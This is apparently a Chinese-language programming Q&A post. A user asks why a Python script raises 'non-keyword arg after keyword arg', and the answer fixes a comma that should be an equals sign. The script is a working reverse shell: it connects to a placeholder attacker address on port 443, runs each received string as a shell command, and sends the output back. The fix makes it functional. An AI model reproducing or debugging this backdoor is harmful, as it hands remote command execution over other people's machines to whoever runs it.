这是我的代码,当我运行它时,我收到此错误:"SyntaxError: non-keyword arg after keyword arg"
#!/usr/bin/python
import subprocess
import socket
host = 'IP ADDRESS'
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('Hello there!\n')
while 1:
data = s.recv(1024)
if data == 'quit':
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('Bye')
s.close()
答案 0 :(得分:0)
您有一个逗号,
,其中等于=
应为:
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE)
^
应该是stdin=subprocess.PIPE
。